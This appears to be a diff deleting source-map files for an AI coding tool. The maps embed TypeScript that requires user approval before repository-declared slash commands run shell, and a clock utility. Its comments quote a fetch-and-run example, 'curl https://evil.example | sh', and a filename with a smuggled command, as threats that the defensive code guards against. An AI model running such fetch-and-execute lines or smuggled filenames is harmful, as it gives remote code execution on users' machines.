- {"version":3,"sources":["../src/command-approvals.ts","../src/commands/shell-injection.ts"],"sourcesContent":["/**\r\n * Trust decisions for shell substitution in project-declared slash commands.\r\n *\r\n * A `.book/commands/*.md` body may contain inline shell spans and fenced shell\r\n * blocks, which the resolver executes before the prompt reaches the model. That\r\n * execution predates the permission system: no rule is consulted, no sandbox\r\n * applies, and nothing is asked. A checked-in command file is therefore\r\n * repository-controlled code that runs on invocation, and since print/headless\r\n * hosts expand custom commands through the same resolver, `book -p \"/name\"`\r\n * reaches the same shell without a terminal to warn anyone.\r\n *\r\n * Project command files consequently need the one-time decision an `.mcp.json`\r\n * server already needs. It is recorded outside the workspace, in\r\n * `<BOOK_HOME>/trust.json` keyed by workspace path, for the reason the other\r\n * three gated classes moved there: `.gitignore` does not stop a *tracked* file\r\n * from reaching a clone, so a repository that force-adds\r\n * `.book/settings.local.json` would otherwise ship its own approvals and arrive\r\n * pre-trusted. Both workspace settings layers are stripped of the key, so\r\n * nothing the gated party writes can answer for it.\r\n *\r\n * The fingerprint covers the extracted shell, not the whole body: editing what\r\n * runs invalidates the decision, editing the surrounding prose does not. Prose\r\n * is prompt text, and the tool calls a model makes from it still have to get\r\n * past the permission system; re-prompting on every wording change is how a\r\n * gate teaches people to approve without reading.\r\n *\r\n * User-global commands (<BOOK_HOME>/commands) were written by the user and are\r\n * never gated; a project command that substitutes no shell has nothing to\r\n * approve and is never gated either.\r\n */\r\nimport { createHash } from 'crypto';\r\nimport { extractShellInjections } from './commands/shell-injection.js';\r\nimport type { CommandSettings, ProjectCommandChoice } from './settings.js';\r\nimport type { SlashCommand } from './types/commands.js';\r\nimport { updateWorkspaceTrust } from './workspace-trust.js';\r\n\r\n/** Recorded decisions, keyed by command name. */\r\nexport type ProjectCommandStore = Record<string, ProjectCommandChoice>;\r\n\r\nexport interface CommandApprovalSettings {\r\n commands?: Partial<CommandSettings>;\r\n}\r\n\r\n/**\r\n * Stable digest of exactly the shell a body will run, in order.\r\n *\r\n * Kind participates: moving a command between an inline span and a fenced block\r\n * changes how its output lands in the prompt.\r\n */\r\nexport function projectCommandFingerprint(body: string): string {\r\n const canonical = JSON.stringify(\r\n extractShellInjections(body).map((injection) => [injection.kind, injection.command]),\r\n );\r\n return createHash('sha256').update(canonical).digest('hex').slice(0, 16);\r\n}\r\n\r\nexport type ProjectCommandApprovalState = 'not-required' | 'approved' | 'rejected' | 'unknown';\r\n\r\nexport function evaluateProjectCommandApproval(\r\n settings: CommandApprovalSettings,\r\n command: SlashCommand,\r\n): ProjectCommandApprovalState {\r\n if (command.source !== 'project') return 'not-required';\r\n if (extractShellInjections(command.body).length === 0) return 'not-required';\r\n const choice = settings.commands?.projectCommands?.[command.name];\r\n if (!choice) return 'unknown';\r\n // A body edited after the decision is a new thing to decide on, not a\r\n // decision already made.\r\n if (choice.fingerprint !== projectCommandFingerprint(command.body)) return 'unknown';\r\n return choice.choice;\r\n}\r\n\r\nexport interface ProjectCommandApprovalPartition {\r\n /** Approved by the user: their shell substitution runs. */\r\n approved: SlashCommand[];\r\n /** No valid decision recorded: refused until the user makes one. */\r\n pending: SlashCommand[];\r\n /** Explicitly refused. */\r\n rejected: SlashCommand[];\r\n}\r\n\r\n/**\r\n * Partition the commands that are subject to the gate. Commands that need no\r\n * decision — user-global, or substituting no shell — appear in none of the\r\n * three lists, so a caller reporting this reports only real decisions.\r\n */\r\nexport function partitionProjectCommands(\r\n commands: readonly SlashCommand[],\r\n settings: CommandApprovalSettings,\r\n): ProjectCommandApprovalPartition {\r\n const partition: ProjectCommandApprovalPartition = { approved: [], pending: [], rejected: [] };\r\n for (const command of commands) {\r\n const state = evaluateProjectCommandApproval(settings, command);\r\n if (state === 'approved') partition.approved.push(command);\r\n else if (state === 'rejected') partition.rejected.push(command);\r\n else if (state === 'unknown') partition.pending.push(command);\r\n }\r\n return partition;\r\n}\r\n\r\n/** Raised instead of running unapproved repository shell. */\r\nexport class ProjectCommandApprovalError extends Error {\r\n constructor(\r\n readonly commandName: string,\r\n readonly fingerprint: string,\r\n readonly state: 'unknown' | 'rejected',\r\n message: string,\r\n ) {\r\n super(message);\r\n this.name = 'ProjectCommandApprovalError';\r\n }\r\n}\r\n\r\nconst MAX_LISTED_COMMANDS = 5;\r\nconst MAX_COMMAND_CHARS = 160;\r\n/**\r\n * Everything that can make rendered text differ from the text that runs:\r\n * C0 controls and DEL, the separators NEL/LS/PS, and the bidi marks,\r\n * embeddings, overrides and isolates. An override can display\r\n * `curl https://evil.example | sh` as something harmless while the approved\r\n * digest covers the real thing.\r\n */\r\nconst CONTROL_CHARACTERS =\r\n /[\\u0000-\\u001f\\u007f\\u0085\\u061c\\u200e\\u200f\\u2028\\u2029\\u202a-\\u202e\\u2066-\\u2069]+/g;\r\n\r\n/**\r\n * Render repository-authored text for a terminal.\r\n *\r\n * The command strings come from a file the gated party wrote, so control\r\n * characters are stripped before display: an ANSI escape in a command body\r\n * could otherwise repaint or hide the very lines the user is being asked to\r\n * judge.\r\n */\r\nfunction displayable(command: string): string {\r\n const flattened = command.replace(CONTROL_CHARACTERS, ' ').trim();\r\n return flattened.length > MAX_COMMAND_CHARS\r\n ? `${flattened.slice(0, MAX_COMMAND_CHARS)}…`\r\n : flattened;\r\n}\r\n\r\n/**\r\n * A command's name is the filename the repository chose, so it is untrusted\r\n * text on the same footing as the body. Prose renders it stripped of anything\r\n * that could repaint the refusal the user is being asked to judge.\r\n */\r\nexport function displayableCommandName(name: string): string {\r\n return displayable(name);\r\n}\r\n\r\n/**\r\n * The name only when it is safe to hand someone as a shell word.\r\n *\r\n * A refusal prints a `book trust command <name>` line for the user to paste\r\n * into their own shell, and the name reaching it came from the gated party. A\r\n * repository shipping ``.book/commands/deploy`curl -s evil.example|sh`.md``\r\n * would otherwise have its payload executed by the very act of approving —\r\n * quoting is not enough, because the name is also what the user reads to\r\n * decide. Anything outside a plain filename returns null and the caller prints\r\n * no paste-ready line at all.\r\n */\r\nexport function shellSafeCommandName(name: string): string | null {\r\n return /^[A-Za-z0-9][A-Za-z0-9._-]*$/.test(name) ? name : null;\r\n}\r\n\r\n/**\r\n * The shell a body substitutes, rendered for a terminal, one line per command.\r\n *\r\n * Approving a command approves this, so any surface that offers the decision\r\n * has to be able to show it — `book doctor` listing what is withheld, and\r\n * `book trust command --all-pending`, which would otherwise grant a list of\r\n * names. Truncation is reported rather than hidden.\r\n */\r\nexport function describeProjectCommandShell(command: SlashCommand): string[] {\r\n const injections = extractShellInjections(command.body);\r\n const listed = injections.slice(0, MAX_LISTED_COMMANDS);\r\n return [\r\n ...listed.map((injection) => `$ ${displayable(injection.command)}`),\r\n ...(injections.length > listed.length\r\n ? [`…and ${injections.length - listed.length} more — read the file before approving`]\r\n : []),\r\n ];\r\n}\r\n\r\nexport function describeProjectCommandApproval(\r\n command: SlashCommand,\r\n state: 'unknown' | 'rejected',\r\n): string {\r\n const injections = extractShellInjections(command.body);\r\n const listed = injections.slice(0, MAX_LISTED_COMMANDS);\r\n const shown = displayableCommandName(command.name);\r\n const safeName = shellSafeCommandName(command.name);\r\n // Approving from a truncated view is approving what you did not read, so\r\n // an abbreviated listing says so and names the file to read instead.\r\n const abbreviated =\r\n injections.length > listed.length ||\r\n listed.some((injection) => displayable(injection.command) !== injection.command);\r\n return [\r\n state === 'rejected'\r\n ? `/${shown} substitutes shell you rejected.`\r\n : `/${shown} substitutes shell that has not been approved.`,\r\n '',\r\n ` .book/commands/${shown}.md runs ${injections.length} shell command${\r\n injections.length === 1 ? '' : 's'\r\n } to build its prompt.`,\r\n ' That happens before the model sees anything, outside the permission system',\r\n ' and outside the sandbox, so it needs a decision first:',\r\n '',\r\n ...listed.map((injection) => ` $ ${displayable(injection.command)}`),\r\n ...(injections.length > listed.length\r\n ? [` …and ${injections.length - listed.length} more`]\r\n : []),\r\n '',\r\n ...(safeName\r\n ? [\r\n ` Approve with: book trust command ${safeName}`,\r\n ` Refuse it with: book trust command ${safeName} --reject`,\r\n ' Run it from the project, or pass --workspace. Editing what the command runs asks again.',\r\n ]\r\n : [\r\n ' This command’s file name is not a plain name, so no command to paste is offered:',\r\n ' a name is a filename the repository chose, and pasting one can run what it contains.',\r\n ' Rename the file, or decide it with `book trust command --all-pending`.',\r\n ]),\r\n ...(abbreviated\r\n ? [\r\n ` Not shown verbatim (abbreviated, or unsafe characters stripped) — read`,\r\n ` .book/commands/${shown}.md in full before approving.`,\r\n ]\r\n : []),\r\n ].join('\\n');\r\n}\r\n\r\n/**\r\n * Fail closed before any substitution happens.\r\n *\r\n * A caller that supplies no store is treated as having no decision on file,\r\n * which refuses rather than runs: an unwired host cannot silently reopen the\r\n * gate.\r\n */\r\nexport function assertProjectCommandApproved(\r\n command: SlashCommand,\r\n settings: CommandApprovalSettings,\r\n): void {\r\n const state = evaluateProjectCommandApproval(settings, command);\r\n if (state === 'approved' || state === 'not-required') return;\r\n throw new ProjectCommandApprovalError(\r\n command.name,\r\n projectCommandFingerprint(command.body),\r\n state,\r\n describeProjectCommandApproval(command, state),\r\n );\r\n}\r\n\r\n/** Record an approve/reject decision in the user-global trust store. */\r\nexport function persistProjectCommandChoice(\r\n workspace: string,\r\n name: string,\r\n fingerprint: string,\r\n choice: ProjectCommandChoice['choice'],\r\n options: { trustStorePath?: string } = {},\r\n): { ok: boolean; error?: string } {\r\n return updateWorkspaceTrust(\r\n workspace,\r\n (trust) => {\r\n trust.projectCommands[name] = { fingerprint, choice };\r\n },\r\n options.trustStorePath,\r\n );\r\n}\r\n","/**\r\n * Extraction of the shell substitutions a slash-command body performs.\r\n *\r\n * Two callers must never disagree about this list: the approval fingerprint\r\n * (`command-approvals.ts`) and the executor (`resolve.ts`). Deriving both from\r\n * one scan is what makes \"the shell that ran is the shell that was approved\"\r\n * true by construction rather than by review.\r\n *\r\n * Extraction runs against the raw body, before variable substitution, because\r\n * that is when the resolver executes: the `command` string here is byte-for-byte\r\n * what reaches the shell, so `$ARGUMENTS` cannot smuggle anything into an\r\n * approved command.\r\n *\r\n * The single scan also closes a second-order hole. Substituting fenced blocks\r\n * first and then scanning the *result* for inline backticks — as this resolver\r\n * used to — re-reads command output as source, so a block that printed\r\n * ``!`cmd` `` would have it executed. Spans are taken from the original body\r\n * once and output is never rescanned.\r\n */\r\n\r\nexport type ShellInjectionKind = 'block' | 'command';\r\n\r\nexport interface ShellInjection {\r\n /** ```` ```! ```` fenced block, or an inline ``!`cmd` `` span. */\r\n kind: ShellInjectionKind;\r\n /** Exactly the string handed to the shell. */\r\n command: string;\r\n /** Half-open span of the placeholder within the body. */\r\n start: number;\r\n end: number;\r\n}\r\n\r\n/**\r\n * Fenced blocks are matched against the raw body, independently of everything\r\n * else in it. Folding both forms into one alternation looked equivalent and was\r\n * not: an earlier plain ``` fence or a stray backtick leaves odd backtick\r\n * parity, and the inline alternative then swallows the first backtick of a\r\n * later ```! opener — turning a block into an inline command with a span that\r\n * leaves stray backticks in the prompt.\r\n */\r\nconst BLOCK_PATTERN = /```!\\s*\\n([\\s\\S]*?)```/g;\r\nconst INLINE_PATTERN = /!?`([^`]+)`/g;\r\n\r\nexport function extractShellInjections(body: string): ShellInjection[] {\r\n const injections: ShellInjection[] = [];\r\n // Same UTF-16 code units the regex indexes, so blanking a span preserves\r\n // every later offset exactly.\r\n const outsideBlocks = body.split('');\r\n\r\n for (const match of body.matchAll(BLOCK_PATTERN)) {\r\n const start = match.index ?? 0;\r\n const end = start + match[0].length;\r\n injections.push({ kind: 'block', command: match[1].trim(), start, end });\r\n // Blank the span before the inline scan: a block contributes no backticks\r\n // to pair with, and — unlike substituting its output first — nothing a\r\n // command prints can be read back as source.\r\n for (let index = start; index < end; index++) outsideBlocks[index] = ' ';\r\n }\r\n\r\n for (const match of outsideBlocks.join('').matchAll(INLINE_PATTERN)) {\r\n const inline = match[1];\r\n // A plain `code` span is Markdown prose, not an instruction to run anything.\r\n if (!match[0].startsWith('!`') && !inline.startsWith('!')) continue;\r\n const start = match.index ?? 0;\r\n injections.push({\r\n kind: 'command',\r\n command: (inline.startsWith('!') ? inline.slice(1) : inline).trim(),\r\n start,\r\n end: start + match[0].length,\r\n });\r\n }\r\n\r\n // Document order: it is both the execution order and what the approval\r\n // fingerprint digests.\r\n return injections.sort((left, right) => left.start - right.start);\r\n}\r\n\r\n/**\r\n * Replace each extracted span with its output.\r\n *\r\n * `outputs` is positional against `injections`, which must have come from\r\n * `extractShellInjections(body)` — the spans index into that exact body.\r\n */\r\nexport function applyShellInjections(\r\n body: string,\r\n injections: readonly ShellInjection[],\r\n outputs: readonly string[],\r\n): string {\r\n let result = '';\r\n let cursor = 0;\r\n for (const [index, injection] of injections.entries()) {\r\n result += body.slice(cursor, injection.start);\r\n result += outputs[index] ?? '';\r\n cursor = injection.end;\r\n }\r\n return result + body.slice(cursor);\r\n}\r\n"],"mappings":";;;;;AA8BA,SAAS,kBAAkB;;;ACU3B,IAAM,gBAAgB;AACtB,IAAM,iBAAiB;AAEhB,SAAS,uBAAuB,MAAgC;AACrE,QAAM,aAA+B,CAAC;AAGtC,QAAM,gBAAgB,KAAK,MAAM,EAAE;AAEnC,aAAW,SAAS,KAAK,SAAS,aAAa,GAAG;AAChD,UAAM,QAAQ,MAAM,SAAS;AAC7B,UAAM,MAAM,QAAQ,MAAM,CAAC,EAAE;AAC7B,eAAW,KAAK,EAAE,MAAM,SAAS,SAAS,MAAM,CAAC,EAAE,KAAK,GAAG,OAAO,IAAI,CAAC;AAIvE,aAAS,QAAQ,OAAO,QAAQ,KAAK,QAAS,eAAc,KAAK,IAAI;AAAA,EACvE;AAEA,aAAW,SAAS,cAAc,KAAK,EAAE,EAAE,SAAS,cAAc,GAAG;AACnE,UAAM,SAAS,MAAM,CAAC;AAEtB,QAAI,CAAC,MAAM,CAAC,EAAE,WAAW,IAAI,KAAK,CAAC,OAAO,WAAW,GAAG,EAAG;AAC3D,UAAM,QAAQ,MAAM,SAAS;AAC7B,eAAW,KAAK;AAAA,MACd,MAAM;AAAA,MACN,UAAU,OAAO,WAAW,GAAG,IAAI,OAAO,MAAM,CAAC,IAAI,QAAQ,KAAK;AAAA,MAClE;AAAA,MACA,KAAK,QAAQ,MAAM,CAAC,EAAE;AAAA,IACxB,CAAC;AAAA,EACH;AAIA,SAAO,WAAW,KAAK,CAAC,MAAM,UAAU,KAAK,QAAQ,MAAM,KAAK;AAClE;AAQO,SAAS,qBACd,MACA,YACA,SACQ;AACR,MAAI,SAAS;AACb,MAAI,SAAS;AACb,aAAW,CAAC,OAAO,SAAS,KAAK,WAAW,QAAQ,GAAG;AACrD,cAAU,KAAK,MAAM,QAAQ,UAAU,KAAK;AAC5C,cAAU,QAAQ,KAAK,KAAK;AAC5B,aAAS,UAAU;AAAA,EACrB;AACA,SAAO,SAAS,KAAK,MAAM,MAAM;AACnC;;;AD/CO,SAAS,0BAA0B,MAAsB;AAC9D,QAAM,YAAY,KAAK;AAAA,IACrB,uBAAuB,IAAI,EAAE,IAAI,CAAC,cAAc,CAAC,UAAU,MAAM,UAAU,OAAO,CAAC;AAAA,EACrF;AACA,SAAO,WAAW,QAAQ,EAAE,OAAO,SAAS,EAAE,OAAO,KAAK,EAAE,MAAM,GAAG,EAAE;AACzE;AAIO,SAAS,+BACd,UACA,SAC6B;AAC7B,MAAI,QAAQ,WAAW,UAAW,QAAO;AACzC,MAAI,uBAAuB,QAAQ,IAAI,EAAE,WAAW,EAAG,QAAO;AAC9D,QAAM,SAAS,SAAS,UAAU,kBAAkB,QAAQ,IAAI;AAChE,MAAI,CAAC,OAAQ,QAAO;AAGpB,MAAI,OAAO,gBAAgB,0BAA0B,QAAQ,IAAI,EAAG,QAAO;AAC3E,SAAO,OAAO;AAChB;AAgBO,SAAS,yBACd,UACA,UACiC;AACjC,QAAM,YAA6C,EAAE,UAAU,CAAC,GAAG,SAAS,CAAC,GAAG,UAAU,CAAC,EAAE;AAC7F,aAAW,WAAW,UAAU;AAC9B,UAAM,QAAQ,+BAA+B,UAAU,OAAO;AAC9D,QAAI,UAAU,WAAY,WAAU,SAAS,KAAK,OAAO;AAAA,aAChD,UAAU,WAAY,WAAU,SAAS,KAAK,OAAO;AAAA,aACrD,UAAU,UAAW,WAAU,QAAQ,KAAK,OAAO;AAAA,EAC9D;AACA,SAAO;AACT;AAGO,IAAM,8BAAN,cAA0C,MAAM;AAAA,EACrD,YACW,aACA,aACA,OACT,SACA;AACA,UAAM,OAAO;AALJ;AACA;AACA;AAIT,SAAK,OAAO;AAAA,EACd;AAAA,EAPW;AAAA,EACA;AAAA,EACA;AAMb;AAEA,IAAM,sBAAsB;AAC5B,IAAM,oBAAoB;AAQ1B,IAAM,qBACJ;AAUF,SAAS,YAAY,SAAyB;AAC5C,QAAM,YAAY,QAAQ,QAAQ,oBAAoB,GAAG,EAAE,KAAK;AAChE,SAAO,UAAU,SAAS,oBACtB,GAAG,UAAU,MAAM,GAAG,iBAAiB,CAAC,WACxC;AACN;AAOO,SAAS,uBAAuB,MAAsB;AAC3D,SAAO,YAAY,IAAI;AACzB;AAaO,SAAS,qBAAqB,MAA6B;AAChE,SAAO,+BAA+B,KAAK,IAAI,IAAI,OAAO;AAC5D;AAUO,SAAS,4BAA4B,SAAiC;AAC3E,QAAM,aAAa,uBAAuB,QAAQ,IAAI;AACtD,QAAM,SAAS,WAAW,MAAM,GAAG,mBAAmB;AACtD,SAAO;AAAA,IACL,GAAG,OAAO,IAAI,CAAC,cAAc,KAAK,YAAY,UAAU,OAAO,CAAC,EAAE;AAAA,IAClE,GAAI,WAAW,SAAS,OAAO,SAC3B,CAAC,aAAQ,WAAW,SAAS,OAAO,MAAM,6CAAwC,IAClF,CAAC;AAAA,EACP;AACF;AAEO,SAAS,+BACd,SACA,OACQ;AACR,QAAM,aAAa,uBAAuB,QAAQ,IAAI;AACtD,QAAM,SAAS,WAAW,MAAM,GAAG,mBAAmB;AACtD,QAAM,QAAQ,uBAAuB,QAAQ,IAAI;AACjD,QAAM,WAAW,qBAAqB,QAAQ,IAAI;AAGlD,QAAM,cACJ,WAAW,SAAS,OAAO,UAC3B,OAAO,KAAK,CAAC,cAAc,YAAY,UAAU,OAAO,MAAM,UAAU,OAAO;AACjF,SAAO;AAAA,IACL,UAAU,aACN,IAAI,KAAK,qCACT,IAAI,KAAK;AAAA,IACb;AAAA,IACA,oBAAoB,KAAK,YAAY,WAAW,MAAM,iBACpD,WAAW,WAAW,IAAI,KAAK,GACjC;AAAA,IACA;AAAA,IACA;AAAA,IACA;AAAA,IACA,GAAG,OAAO,IAAI,CAAC,cAAc,SAAS,YAAY,UAAU,OAAO,CAAC,EAAE;AAAA,IACtE,GAAI,WAAW,SAAS,OAAO,SAC3B,CAAC,iBAAY,WAAW,SAAS,OAAO,MAAM,OAAO,IACrD,CAAC;AAAA,IACL;AAAA,IACA,GAAI,WACA;AAAA,MACE,sCAAsC,QAAQ;AAAA,MAC9C,wCAAwC,QAAQ;AAAA,MAChD;AAAA,IACF,IACA;AAAA,MACE;AAAA,MACA;AAAA,MACA;AAAA,IACF;AAAA,IACJ,GAAI,cACA;AAAA,MACE;AAAA,MACA,oBAAoB,KAAK;AAAA,IAC3B,IACA,CAAC;AAAA,EACP,EAAE,KAAK,IAAI;AACb;AASO,SAAS,6BACd,SACA,UACM;AACN,QAAM,QAAQ,+BAA+B,UAAU,OAAO;AAC9D,MAAI,UAAU,cAAc,UAAU,eAAgB;AACtD,QAAM,IAAI;AAAA,IACR,QAAQ;AAAA,IACR,0BAA0B,QAAQ,IAAI;AAAA,IACtC;AAAA,IACA,+BAA+B,SAAS,KAAK;AAAA,EAC/C;AACF;AAGO,SAAS,4BACd,WACA,MACA,aACA,QACA,UAAuC,CAAC,GACP;AACjC,SAAO;AAAA,IACL;AAAA,IACA,CAAC,UAAU;AACT,YAAM,gBAAgB,IAAI,IAAI,EAAE,aAAa,OAAO;AAAA,IACtD;AAAA,IACA,QAAQ;AAAA,EACV;AACF;","names":[]}
@@ -1 +0,0 @@
1
- {"version":3,"sources":["../src/clock.ts"],"sourcesContent":["/**\r\n * Time that measures, separated from time that labels.\r\n *\r\n * `Date.now()` is the settable wall clock. NTP steps it, a VM resumes with it\r\n * wrong and then corrects, an operator fixes a drifted host, DST changes the\r\n * offset. None of that matters over a five-minute chat, and all of it is\r\n * near-certain over the multi-day runs Book is built for — which is why every\r\n * *duration* decision here reads a monotonic source instead.\r\n *\r\n * What the two are for:\r\n *\r\n * - **`monotonicNowMs()`** — \"how long has this been going?\" Retry budgets,\r\n * flush deadlines, kill timeouts, elapsed run time. It only ever moves\r\n * forward, at a rate nothing can adjust, and its origin is arbitrary, so a\r\n * reading is meaningless on its own and comparable only to another reading\r\n * *from the same process*.\r\n * - **`wallNowMs()`** — \"when did this happen?\" Anything written to a file, put\r\n * on screen, or compared against a stamp another process wrote. Still\r\n * `Date.now()`; the name exists so the choice is visible at the call site\r\n * rather than implied by its absence.\r\n *\r\n * **The origin is per-process, and that is the whole limit.** Two processes'\r\n * monotonic clocks share no zero, so a monotonic reading cannot be persisted,\r\n * sent, or compared across a process boundary. Cross-process liveness — the\r\n * background-shell heartbeat, the run-status file `book status` reads, the\r\n * retention sweeps — therefore stays on the wall clock by necessity, not by\r\n * oversight. A backwards step there reads as \"unexpectedly fresh\" and a forward\r\n * step can declare a live run stale; fixing that needs a sequence counter in the\r\n * file, not a better clock. See `MILESTONES.md`.\r\n *\r\n * Injected rather than imported directly at the decision sites, per the\r\n * module-level-mutable-state rule: a caller that needs to control time passes a\r\n * `Clock`, and tests do exactly that instead of reaching for fake timers.\r\n *\r\n * One trap worth knowing when writing those tests: vitest's default\r\n * `vi.useFakeTimers()` fakes `performance` too, so the monotonic clock stops\r\n * with the fake wall clock and a test cannot tell the two apart. Use\r\n * `vi.useFakeTimers({ toFake: ['Date'] })` to move the wall clock while the\r\n * monotonic one keeps its own time — that divergence is the thing under test.\r\n */\r\n\r\n/** A monotonic reading, in milliseconds. Only comparable within one process. */\r\nexport type MonotonicMs = number;\r\n\r\nexport interface Clock {\r\n /** Milliseconds since an arbitrary fixed origin. Never goes backwards. */\r\n monotonicNowMs(): MonotonicMs;\r\n /** Milliseconds since the Unix epoch. Settable; use only for labels. */\r\n wallNowMs(): number;\r\n}\r\n\r\n/**\r\n * `performance.now()` is monotonic in Node — it reads `uv_hrtime`, which is\r\n * unaffected by `settimeofday` — and is millisecond-resolution floating point,\r\n * which is finer than any deadline here needs.\r\n */\r\nexport const systemClock: Clock = {\r\n monotonicNowMs: () => performance.now(),\r\n wallNowMs: () => Date.now(),\r\n};\r\n\r\n/**\r\n * A clock a test drives by hand. Both hands start at the given values and move\r\n * only when told, so a test can advance one without the other — which is the\r\n * only way to show a duration decision is immune to a wall-clock step.\r\n */\r\nexport function createTestClock(options?: { monotonicMs?: number; wallMs?: number }): Clock & {\r\n advanceMonotonic(ms: number): void;\r\n setWall(ms: number): void;\r\n} {\r\n let monotonic = options?.monotonicMs ?? 0;\r\n let wall = options?.wallMs ?? 1_700_000_000_000;\r\n return {\r\n monotonicNowMs: () => monotonic,\r\n wallNowMs: () => wall,\r\n advanceMonotonic(ms: number) {\r\n // Guard the invariant the production clock has for free: a test that\r\n // rewinds this is testing something that cannot happen.\r\n if (ms < 0) throw new Error('monotonic time cannot move backwards');\r\n monotonic += ms;\r\n },\r\n setWall(ms: number) {\r\n wall = ms;\r\n },\r\n };\r\n}\r\n"],"mappings":";AAwDO,IAAM,cAAqB;AAAA,EAChC,gBAAgB,MAAM,YAAY,IAAI;AAAA,EACtC,WAAW,MAAM,KAAK,IAAI;AAC5B;","names":[]}